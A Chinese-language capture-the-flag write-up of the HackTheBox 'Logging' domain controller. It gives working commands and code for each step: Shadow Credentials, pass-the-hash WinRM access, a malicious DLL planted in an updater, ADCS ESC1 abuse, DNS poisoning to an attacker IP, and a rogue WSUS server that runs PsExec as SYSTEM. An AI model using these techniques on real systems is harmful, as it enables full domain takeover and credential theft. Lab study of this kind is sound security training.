Logging - HackTheBox Writeup

發布日期:2026/4/25

摘要: Windows Server 2019 網域控制站,中等難度。


Logging - HackTheBox 賽季機器攻略

機器資訊

項目 詳情
名稱 Logging
作業系統 Windows Server 2019 (Build 17763)
難度 Medium
賽季 S7
作者 LazyTitan33
網域 logging.htb
域控制器 DC01.logging.htb
時鐘偏移 +7 小時 (需使用 faketime -f '+25200')
VPN MTU 需設定為 1200

偵察階段

端口掃描

nmap -sC -sV -p- 10.129.x.x

掃描結果:

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0 (預設頁面)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP
445/tcp   open  microsoft-ds  Windows Server 2019 Standard 17763
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman         (WinRM - 僅支援 Negotiate/Kerberos)
8530/tcp  open  unknown       (WSUS HTTP)
8531/tcp  open  unknown       (WSUS HTTPS)
9389/tcp  open  adws          Active Directory Web Services

域資訊

  • 網域: logging.htb
  • 域控制器: DC01.logging.htb (Windows Server 2019 Build 17763)
  • SMB 簽名: 必要 (required)
  • 時鐘偏移: +7 小時 — 所有 Kerberos 操作需使用 faketime -f '+25200'
  • VPN MTU 問題: 必須設定 sudo ifconfig utun8 mtu 1200,否則超過 ~1200 bytes 的 TCP 封包會逾時 (SMB 檔案讀取、LDAP 查詢、Kerberos TGT 回應皆受影響)
  • WinRM: 僅接受 Negotiate/Kerberos 認證 (不支援 NTLM)
  • Administrator: 在 Protected Users 群組中 (NTLM 被停用)
  • ADCS CA: logging-DC01-CA,自訂模板:UpdateSrv
  • WSUS: https://wsus.logging.htb:8531
  • DNS 寫入: Authenticated Users 對 ADIDNS 區域有 CREATE_CHILD 權限

環境準備

# 修正 VPN MTU
sudo ifconfig utun8 mtu 1200

# 新增 hosts 記錄
echo "10.129.x.x logging.htb DC01.logging.htb" | sudo tee -a /etc/hosts

User Flag

步驟一:SMB 日誌共享枚舉

機器描述頁面提供初始憑證:

wallace.everette / Welcome2026@

使用 wallace 的憑證存取 Logs SMB 共享:

smbclient.py 'logging.htb/wallace.everette:Welcome2026@@10.129.x.x'

在共享中找到以下日誌檔案:

  • Audit_Heartbeat.log
  • IdentitySync_Trace_20260219.log
  • Service_State.log
  • TaskMonitor.log

下載所有日誌進行分析:

# 在 smbclient 互動模式中
use Logs
mget *

步驟二:憑證發現 — IdentitySync 追蹤日誌

IdentitySync_Trace_20260219.log 包含一筆 VERBOSE 等級的日誌條目,內含明文憑證:

[Thread:04] VERBOSE - ConnectionContext Dump: { 
  Domain: "logging.htb", Server: "DC01", SSL: "False", 
  BindUser: "LOGGING\svc_recovery", 
  BindPass: "Em3rg3ncyPa$$2025",   <-- 舊密碼 (2025 年)
  Timeout: 30 
}

日誌中同時顯示 LDAP 綁定失敗 (錯誤代碼 52e = 密碼錯誤)。嘗試年份變體,透過 Kerberos 驗證:

# 2025 年密碼失敗
faketime -f '+25200' getTGT.py 'logging.htb/svc_recovery:Em3rg3ncyPa$$2025' -dc-ip 10.129.x.x
# 失敗

# 更新為 2026 年密碼 — 成功!
faketime -f '+25200' getTGT.py 'logging.htb/svc_recovery:Em3rg3ncyPa$$2026' -dc-ip 10.129.x.x
# [*] Saving ticket in svc_recovery.ccache

svc_recovery 憑證: svc_recovery / Em3rg3ncyPa$$2026

步驟二:LDAP 枚舉 — 關鍵帳戶與群組

使用 wallace 的 LDAP 存取權限枚舉域物件:

ldapsearch -x -H ldap://10.129.x.x -D "wallace.everette@logging.htb" \
  -w 'Welcome2026@' -b "DC=logging,DC=htb" "(objectClass=user)" \
  sAMAccountName memberOf userAccountControl
帳戶 群組 備註
Administrator Protected Users, Domain Admins NTLM 被停用,無法直接利用
toby.brynleigh Domain Admins, Administrators root.txt 在此帳戶桌面
jaylee.clifton IT, Performance Log Users 執行 UpdateChecker Agent 排程任務
svc_recovery Emergency Recovery, Protected Users 對 msa_health$ 有 WRITE 權限
msa_health$ Remote Management Users gMSA 帳戶,可 WinRM 存取

關鍵發現:svc_recoverymsa_health$ 帳戶擁有 0x2003c 權限 (READ_PROP + WRITE_PROP + CONTROL_ACCESS)。

步驟三:Shadow Credentials 攻擊 msa_health$

由於 svc_recovery 對 msa_health$ 有 WRITE 權限,我們可以執行 Shadow Credentials 攻擊來取得 msa_health$ 的 NT hash:

# 設定 Kerberos 快取
export KRB5CCNAME=svc_recovery.ccache

# 使用 bloodyAD 執行 Shadow Credentials 攻擊
faketime -f '+25200' bloodyAD --host DC01.logging.htb -d logging.htb \
  -u svc_recovery -k "ccache=svc_recovery.ccache" -i 10.129.x.x \
  add shadowCredentials 'msa_health$'

輸出結果:

[+] KeyCredential generated
[+] TGT stored in ccache file msa_health_XX.ccache
NT: 603fc24ee01a9409f83c9d1d701485c5

msa_health$ NT hash: 603fc24ee01a9409f83c9d1d701485c5

步驟四:WinRM Shell (msa_health$)

msa_health$ 在 Remote Management Users 群組中,且不在 Protected Users 群組 (NTLM 允許使用)。使用 pypsrp 透過 NTLM 訊息加密建立 WinRM 連線:

from pypsrp.client import Client

client = Client("10.129.x.x", ssl=False, auth="ntlm",
                username="msa_health$",
                password="aad3b435b51404eeaad3b435b51404ee:603fc24ee01a9409f83c9d1d701485c5",
                encryption="always")

# 測試連線
output, streams, _ = client.execute_ps("whoami")
print(output)
# logging\msa_health$

關鍵注意事項: execute_cmd() 會回傳 Access Denied,但 execute_ps() (PowerShell 遠端處理) 可正常運作。

步驟五:DNS 投毒 + DLL 劫持 — UpdateMonitor

發現

從 WinRM shell 中進行偵察:

# 列出排程任務
output, _, _ = client.execute_ps("schtasks /query /v /fo LIST | Select-String -Pattern 'TaskName|Run As|Task To Run' -Context 0,0")
print(output)

# 檢查 UpdateMonitor
output, _, _ = client.execute_ps("Get-Content 'C:\\Program Files\\UpdateMonitor\\UpdateMonitor.exe.config'")
print(output)

# 檢查目錄權限
output, _, _ = client.execute_ps("icacls 'C:\\Program Files\\UpdateMonitor\\bin'")
print(output)

# 檢查 ProgramData 目錄
output, _, _ = client.execute_ps("icacls 'C:\\ProgramData\\UpdateMonitor'")
print(output)

發現以下關鍵資訊:

  1. UpdateChecker Agent 排程任務每 3 分鐘執行一次,以 jaylee.clifton 身份運行
  2. 執行路徑:C:\Program Files\UpdateMonitor\UpdateMonitor.exe
  3. UpdateMonitor.exe 是 .NET 組件,行為流程:
    • 從 WSUS 下載 Settings_Update.zip
    • 解壓至 bin\ 目錄
    • 呼叫 LoadLibrary("settings_update.dll")
    • 呼叫 GetProcAddress("PreUpdateCheck")
  4. bin\ 目錄對 IT 群組有 FullControl 權限
  5. C:\ProgramData\UpdateMonitor\Users 可寫入 (CreateFiles + Write)

利用方式

交叉編譯原生 32 位元 Windows DLL,匯出 PreUpdateCheck 函式:

// settings_update.c
#include <windows.h>

__declspec(dllexport) void PreUpdateCheck() {
    // 複製 user flag 到可讀取的位置
    CopyFileA("C:\\Users\\jaylee.clifton\\Desktop\\user.txt",
              "C:\\ProgramData\\UpdateMonitor\\Logs\\user_flag.txt", FALSE);
}

BOOL APIENTRY DllMain(HMODULE h, DWORD r, LPVOID l) {
    return TRUE;
}

編譯並打包:

# 必須是 32 位元、靜態連結
i686-w64-mingw32-gcc -shared -static -o settings_update.dll settings_update.c -lkernel32

# 打包成 ZIP
zip Settings_Update.zip settings_update.dll

透過 pypsrp 上傳:

# 上傳 ZIP 檔案
client.copy("Settings_Update.zip", r"C:\ProgramData\UpdateMonitor\Settings_Update.zip")

# 設定權限讓所有人可讀
client.execute_ps(r"icacls C:\ProgramData\UpdateMonitor\Settings_Update.zip /grant 'Everyone:F'")

等待約 3 分鐘讓排程任務執行。UpdateMonitor 會解壓 ZIP 至 bin\ 目錄,載入 settings_update.dll,並以 jaylee.clifton 身份呼叫 PreUpdateCheck()

讀取 Flag

# 等待 ~3 分鐘後讀取 flag
output, _, _ = client.execute_ps(r"Get-Content C:\ProgramData\UpdateMonitor\Logs\user_flag.txt")
print(output)
# HTB{...}

User Flag

HTB{...} (每個實例動態產生)

Root Flag — WSUS 欺騙攻擊 (透過 ADCS ESC1)

關鍵洞察

UpdateSrv 模板分析:

  • ESC1 漏洞:ENROLLEE_SUPPLIES_SUBJECT (申請者可自訂主體名稱)
  • 僅有 Server Authentication EKU (無 Client Auth)

這意味著:

  • PKINIT 不可用 — KDC 會拒絕僅有 Server Auth EKU 的憑證
  • Schannel LDAP 憑證映射在現代 DC 上不可靠

關鍵思路:Server Auth EKU = 冒充伺服器,而非以用戶身份認證。

DC01 的 WSUS 設定為 https://wsus.logging.htb:8531/。如果我們能:

  1. 申請 wsus.logging.htb 的有效 TLS 憑證 (由內部 CA 簽發)
  2. wsus.logging.htb 的 DNS 指向攻擊者 IP
  3. 架設惡意 WSUS 伺服器

那麼 DC01 會信任我們的 TLS 連線,我們就能推送惡意更新以 SYSTEM 身份執行。

步驟一:申請 WSUS 憑證

產生 CSR (憑證簽署請求),主體名稱為 wsus.logging.htb

# 產生私鑰
openssl genrsa -out wsus.key 2048

# 建立 CSR 設定檔
cat > wsus_csr.cnf << 'EOF'
[req]
default_bits = 2048
prompt = no
default_md = sha256
distinguished_name = dn
req_extensions = v3_req

[dn]
CN = wsus.logging.htb

[v3_req]
subjectAltName = DNS:wsus.logging.htb
1.3.6.1.4.1.311.21.7 = ASN1:SEQUENCE:template_info

[template_info]
templateID = OID:1.3.6.1.4.1.311.21.8.12353791.10602463.14107544.5621390.7746408.154.13283525.179965
templateMajorVersion = INTEGER:100
templateMinorVersion = INTEGER:3
EOF

# 產生 CSR
openssl req -new -key wsus.key -out wsus.csr -config wsus_csr.cnf

透過 DLL 以 jaylee (IT 群組對 UpdateSrv 模板有 Enroll 權限) 身份提交 CSR:

// settings_update.c — 憑證申請版本
#include <windows.h>
#include <stdlib.h>

__declspec(dllexport) void PreUpdateCheck() {
    system("certreq -submit -config \"DC01.logging.htb\\logging-DC01-CA\" "
           "-attrib \"CertificateTemplate:UpdateSrv\" "
           "C:\\ProgramData\\UpdateMonitor\\wsus.csr "
           "C:\\ProgramData\\UpdateMonitor\\wsus.cer");
}

BOOL APIENTRY DllMain(HMODULE h, DWORD r, LPVOID l) { return TRUE; }

或者,如果已取得 jaylee 的密碼,可直接使用 certipy:

certipy req -u 'jaylee.clifton@logging.htb' -p '<PASS>' \
  -ca 'logging-DC01-CA' -template 'UpdateSrv' \
  -dns 'wsus.logging.htb' -target dc01.logging.htb

步驟二:DNS 投毒

wsus.logging.htb 重新導向至攻擊者 IP。Authenticated Users 對 ADIDNS 區域有 CREATE_CHILD 權限:

bloodyAD -d logging.htb -H DC01.logging.htb -i <DC_IP> \
  -u wallace.everette -p 'Welcome2026@' \
  add dnsRecord wsus <ATTACKER_IP>

驗證 DNS 記錄已生效:

nslookup wsus.logging.htb <DC_IP>
# 應返回攻擊者 IP

步驟三:架設惡意 WSUS 伺服器

使用 wsuks (不要用 pywsus — pywsus 處理 WSUS 元數據同步,但在 Windows Server 2019 的更新下載階段會失敗):

# 安裝 wsuks
pip3 install wsuks

在 macOS 上需要修補 wsuks 以解決相容性問題:

# 修補 router.py — 跳過 nftables 匯入 (macOS 無此模組)
# 修補 wsuks.py — 在 serve-only 模式跳過 Router 初始化
# 修補 wsuks.py — 支援獨立的 TLS 私鑰檔案

啟動惡意 WSUS 伺服器:

sudo wsuks --serve-only --tls-cert wsus.cer -I utun8 \
  -e PsExec64.exe \
  -c '-accepteula -s cmd.exe /c "type C:\Users\toby.brynleigh\Desktop\root.txt > C:\ProgramData\UpdateMonitor\root_flag.txt & icacls C:\ProgramData\UpdateMonitor\root_flag.txt /grant Everyone:F"' \
  --debug

此命令會:

  • 使用由內部 CA 簽發的 TLS 憑證
  • 將 PsExec64.exe 包裝為 Windows 更新
  • 以 SYSTEM 身份執行指令,將 root.txt 複製到可讀位置

步驟四:觸發更新

從 msa_health$ 的 WinRM shell 觸發 DC01 的 Windows 更新:

# 清除 DNS 快取
client.execute_ps("ipconfig /flushdns")

# 重啟 Windows Update 服務
client.execute_ps("Stop-Service wuauserv -Force; Start-Sleep 2; Start-Service wuauserv")

# 強制偵測更新
client.execute_ps("wuauclt /resetauthorization /detectnow")

# 觸發更新安裝
client.execute_ps("wuauclt /updatenow")

DC01 連線到我們的惡意 WSUS 伺服器,信任 TLS 憑證 (因為由內部 CA 簽發),下載 PsExec64.exe 作為「更新」,並以 SYSTEM 身份執行。

讀取 Root Flag

# 等待更新執行完成後讀取 flag
output, _, _ = client.execute_ps(r"Get-Content C:\ProgramData\UpdateMonitor\root_flag.txt")
print(output)
# HTB{...}

注意: root.txt 在 C:\Users\toby.brynleigh\Desktop\root.txt,而非 Administrator 的桌面!

Root Flag

HTB{...} (每個實例動態產生)

完整攻擊鏈

wallace.everette (初始憑證)
    |
    +-- SMB Logs 共享 --> IdentitySync 日誌 --> svc_recovery 密碼
    |
    v
svc_recovery (Protected Users, 僅 Kerberos)
    |
    +-- Shadow Credentials 攻擊 msa_health$ --> NT hash
    |
    v
msa_health$ (gMSA, Remote Management Users)
    |
    +-- WinRM PowerShell shell (pypsrp + NTLM 加密)
    +-- 部署 Settings_Update.zip (惡意 DLL)
    |
    v
jaylee.clifton (IT 群組)
    |
    +-- DLL PreUpdateCheck() --> user.txt flag
    +-- ADCS ESC1: 申請 wsus.logging.htb 憑證 (Server Auth EKU)
    +-- DNS 投毒: wsus.logging.htb --> 攻擊者 IP
    |
    v
WSUS 欺騙 (wsuks + PsExec64.exe)
    |
    +-- DC01 信任我們的 TLS 憑證 (由內部 CA 簽發)
    +-- 惡意更新以 SYSTEM 身份執行
    |
    v
ROOT FLAG

經驗總結

  1. Server Auth EKU = 冒充伺服器,非用戶認證:當 ADCS 給你一張只有 Server Auth 的憑證時,不要只想著 PKINIT 或 Schannel。思考哪些內部服務使用 TLS 且可以被欺騙 — 例如 WSUS。

  2. WSUS 是高價值目標:如果 WSUS 使用內部 CA 的 HTTPS 且你能申請 WSUS 主機名的憑證,你就能推送任意程式碼以 SYSTEM 執行。這比傳統 ESC1 中的「冒充用戶」更加強大。

  3. 工具選擇很重要pywsus 能處理 WSUS 元數據同步,但在現代 Windows 的更新下載階段會失敗。wsuks 能處理包括 HTTPS 和更新交付在內的完整流程。在 macOS 上需要修補 nftables 和 serve-only 模式的相容性問題。

  4. 串聯小發現:此攻擊鏈結合了 DNS 寫入權限 + ADCS 憑證申請 + WSUS 信任關係 = SYSTEM 執行。單獨來看沒有一個漏洞是致命的,但串聯起來就能完全控制域控制器。

  5. root.txt 位置:不一定在 Administrator 的 Desktop。本機的 root.txt 在 toby.brynleigh (Domain Admin) 的 Desktop。

  6. Protected Users 的影響:Administrator 和 svc_recovery 都在 Protected Users 群組中,導致 NTLM 被停用。必須使用 Kerberos 認證 (faketime 處理時鐘偏移)。而 msa_health$ 不在 Protected Users 中,因此可以使用 NTLM 進行 WinRM 連線。

  7. DLL 鎖定問題:UpdateMonitor 透過 LoadLibrary 載入 DLL 後會保持控制代碼開啟。多次任務執行會累積鎖定,永久鎖定檔案。如需替換 DLL:

    • 重設機器
    • 在第一次任務執行前部署新 ZIP
    • 或在任務執行間隙重新命名 DLL (時間窗口很窄)

技術備註

VPN MTU 設定

sudo ifconfig utun8 mtu 1200

不設定此值,所有承載超過 ~1200 bytes 資料的 TCP 連線都會逾時。

時鐘偏移處理

DC01 的時鐘比攻擊者快 7 小時。所有 Kerberos 操作需要:

faketime -f '+25200' <指令>

原生 DLL 需求

  • 必須是 32 位元 (i686) — UpdateMonitor.exe 是 32 位元程式
  • 必須靜態連結 (-static) — 目標機器上沒有 mingw 執行時期程式庫
  • 必須匯出 PreUpdateCheck 為 C 函式 (無名稱修飾)
  • ZIP 權限必須允許 Everyone:Read (msa_health$ 建立檔案,jaylee 讀取)

pypsrp 使用注意

  • 使用 auth="ntlm" 搭配 encryption="always" (WinRM 需要訊息加密)
  • 密碼欄位使用 LMHash:NTHash 格式傳入 Pass-the-Hash
  • execute_cmd() 會失敗 (Access Denied),改用 execute_ps() (PowerShell 遠端處理)
目錄